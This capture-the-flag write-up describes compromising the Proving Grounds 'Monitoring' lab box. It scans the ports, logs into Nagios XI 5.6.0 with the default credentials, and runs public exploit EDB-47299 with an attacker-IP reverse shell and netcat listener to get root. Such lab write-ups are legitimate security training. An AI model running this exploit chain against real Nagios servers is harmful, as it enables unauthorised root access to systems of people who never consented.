Skip to content
HackIndex logo

HackIndex

Monitoring Writeup - Proving Grounds

Easy Linux
Proving Grounds Discuss on Discord

Last updated May 10, 2026 • 3 min read

Joshua

HackIndex Creator

Discovery

The scan reveals six open TCP ports. The web server on ports 80 and 443 immediately identifies itself as Nagios XI. Port 5667 is tcpwrapped, 389 runs OpenLDAP, and 25 runs Postfix.

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP 
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
25/tcp   open  smtp       Postfix smtpd
80/tcp   open  http       Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Nagios XI
389/tcp  open  ldap       OpenLDAP 2.2.X - 2.3.X
443/tcp  open  ssl/http   Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Nagios XI
5667/tcp open  tcpwrapped

Enumeration

The Nagios XI login page is reachable at http://$TARGET_IP/nagiosxi/. The default credential nagiosadmin:admin works and reveals version 5.6.0.

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP/nagiosxi/login.php | grep -i version 
Nagios XI 5.6.0

Searching for public exploits against Nagios XI 5.6.x turns up several options. EDB-47299 covers authenticated RCE with root privilege escalation for versions up to 5.6.5 — a PHP script that uploads a malicious plugin through the admin panel and triggers it for a reverse shell.

┌──(kali㉿kali)-[~]
└─$ searchsploit nagios xi 5.6 --exclude='dos' 
Nagios XI 5.5.6 - Remote Code Execution / Privilege Escalation     | linux/webapps/46221.py
Nagios XI 5.6.1 - SQL injection                                     | php/webapps/46910.txt
Nagios XI 5.6.12 - 'export-rrd.php' Remote Code Execution           | php/webapps/48640.txt
Nagios XI 5.6.5 - Remote Code Execution / Root Privilege Escalation | php/webapps/47299.php
Nagios Xi 5.6.6 - Authenticated Remote Code Execution (RCE)        | multiple/webapps/52138.txt

Initial Access

EDB-47299 is the right fit. The exploit authenticates, grabs a CSRF token, uploads a PHP reverse shell as a monitoring plugin via the admin panel, then triggers it. It handles everything in one pass — no manual steps needed.

Start a listener, then run the exploit:

┌──(kali㉿kali)-[~]
└─$ php 47299.php --host=$TARGET_IP --ssl=false --user=nagiosadmin --pass=admin --reverseip=$ATTACKER_IP --reverseport=$ATTACKER_PORT 
[+] Grabbing NSP from: http://192.168.152.136/nagiosxi/login.php
[+] Extracted NSP - value: 860a6ac6e3d387f1507d5f8a4098bc16882b7d8301421e232c84d2ce71a58d63
[+] Attempting to login...
[+] Authentication success
[+] Checking we have admin rights...
[+] Admin access confirmed
[+] Grabbing NSP from: http://192.168.152.136/nagiosxi/admin/monitoringplugins.php
[+] Extracted NSP - value: c65b6ad42a10598ff4646244d75334a7bb4c90c3539d2a4155903d4f2bebd7c1
[+] Uploading payload...
[+] Payload uploaded
[+] Triggering payload: if successful, a reverse shell will spawn
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT 
connect to [192.168.45.177] from (UNKNOWN) [192.168.152.136] 43420
bash: cannot set terminal process group (949): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:/home# whoami
root

The shell lands as root directly. The exploit chains the plugin upload with a local privilege escalation built into the Nagios XI 5.6.x codebase, so no separate privesc step is needed.

References